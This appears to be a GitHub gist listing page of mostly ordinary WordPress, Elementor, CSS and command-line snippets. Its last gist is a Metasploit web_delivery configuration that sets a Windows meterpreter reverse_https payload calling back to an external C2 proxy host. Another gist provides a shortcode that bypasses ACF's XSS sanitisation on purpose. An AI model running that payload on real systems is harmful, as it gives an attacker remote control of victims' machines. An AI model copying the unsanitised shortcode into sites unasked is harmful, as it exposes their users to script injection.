Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View mwender's full-sized avatar
👨‍💻

Michael Wender mwender

👨‍💻
View GitHub Profile
@mwender
mwender / trending-posts-shortcode.php
Last active April 18, 2024 13:40
[WordPress Elementor Trending Posts Shortcode] In conjunction with the Post Views Counter plugin, the following provides a "trending_posts" shortcode for use in displaying an Elementor Loop Template #elementor #wordpress
@mwender
mwender / optimize-video-ffmpeg.sh
Created January 19, 2024 22:33
[Optimize video files with ffmpeg] One liners for optimizing video files from your command line. #cli
# Reduce the filesize of your .mov and convert to .mp4
#
$ ffmpeg -i input.mov -vcodec h264 output.mp4
# Adjust the resolution of your .mov and convert to .mp4
#
# - The following sets the width to 1280px with the
# height adjusting appropriately.
# - scale={$width}:{$height} - Specify one value and set
# the other to -1 to scale proportionately
@mwender
mwender / email-obfuscater.js
Last active January 18, 2024 16:42
[JS Email Obfuscater] Simple JavaScript to obfuscate "mailto" links.
/**
* Obfuscates email addresses in 'mailto' links to protect them from spam bots.
*
* This function first selects all anchor elements (<a>) in the document that have a 'href' attribute
* starting with 'mailto:'. For each of these mailto links, it retrieves the email address,
* obfuscates it, and then modifies the link's 'href' attribute to use a JavaScript code snippet
* for redirection. This obfuscation involves converting each character of the email address
* into its corresponding character code, joined by dots. Additionally, a click event listener
* is added to each link to handle the redirection in a user-friendly manner. When a user
* clicks on the obfuscated link, the browser redirects them to the actual 'mailto' link,
@mwender
mwender / link-elementor-pro-gallery-images.js
Last active January 17, 2024 19:49
[Elementor Pro Linked Gallery Images] Simple JS to add links to your Elementor Pro gallery images #elementor
@mwender
mwender / README.md
Last active January 17, 2024 18:53
[ACF Unsafe Content Shortcode] Provides "acf_field_unsafe" for echoing ACF field content that hasn't been run through wp_kses_post(). #wordpress #shortcode #acf

The [acf_field_unsafe/] Shortcode

On January 16, 2024, the ACF 6.2.5 security release fixed a security issue whereby the output of the [acf field="[...]"/] shortcode has its content run through wp_kses(). This removes all <script> and <iframe> tags. However, there are still situations where you may need to echo these tags when you have a site where you're confident you can trust every user on your site with contributor or higher access. Hence, this shortcode allows you to do this.

Shortcode Documentation

Retrieves the value of a specified Advanced Custom Field (ACF) based on given attributes.

This function is designed to be used as a shortcode handler for retrieving ACF field values. 
@mwender
mwender / replace-hamburger-icon-with-text.css
Last active January 17, 2024 17:27
Use the following CSS to replace the Elementor Nav Widget's mobile dropdown hamburger icon with the word "Menu". #elementor
/* Use "Menu" for mobile menu */
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar{
display: flex;
padding: 6px;
}
selector .elementor-menu-toggle:not(.elementor-active) .elementor-menu-toggle__icon--open.eicon-menu-bar:before{
content: 'Menu';
font-family: Roboto;
font-size: 18px;
}
@mwender
mwender / close-tabs-on-mobile.js
Last active January 17, 2024 17:28
Loads Elementor's tab widget on mobile with all tabs collapsed. #elementor
let intViewportWidth = window.innerWidth;
console.log('🔔 intViewportWidth = ', intViewportWidth );
const activeClass = 'ele-active';
const mobileBreakpoint = '767'; // Our breakpoint ensures this code only runs on small screens.
const mobileTabButtons = document.querySelectorAll('.elementor-tab-mobile-title');
if( intViewportWidth <= mobileBreakpoint ){
/**
* Click handling for Tab buttons.
@mwender
mwender / uber-log.php
Last active April 2, 2024 16:55
uber_log() - Enhanced logging. Add this to your project and use `tail -f /path/to/your/log.txt` for debugging.
<?php
/**
* Enhanced logging.
*
* @param string $message The log message
*/
if( ! function_exists( 'uber_log' ) ){
function uber_log( $message = null ){
static $counter = 1;
@mwender
mwender / hidpi-email-header-image.php
Last active December 13, 2018 15:32
Filter for displaying a HiDPI image in the header of the WP HTML Email plugin for WordPress
<?php
namespace Functions\htmlemail;
/**
* Filters the WP HTML Email header
*
* The following works with a graphic sized at 1200x300px. The
* final display is shown @2X pixel density as the image is
* scaled down to 600x150px.
@mwender
mwender / launcher-commands.code
Created October 27, 2016 14:58
Launcher commands.
use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j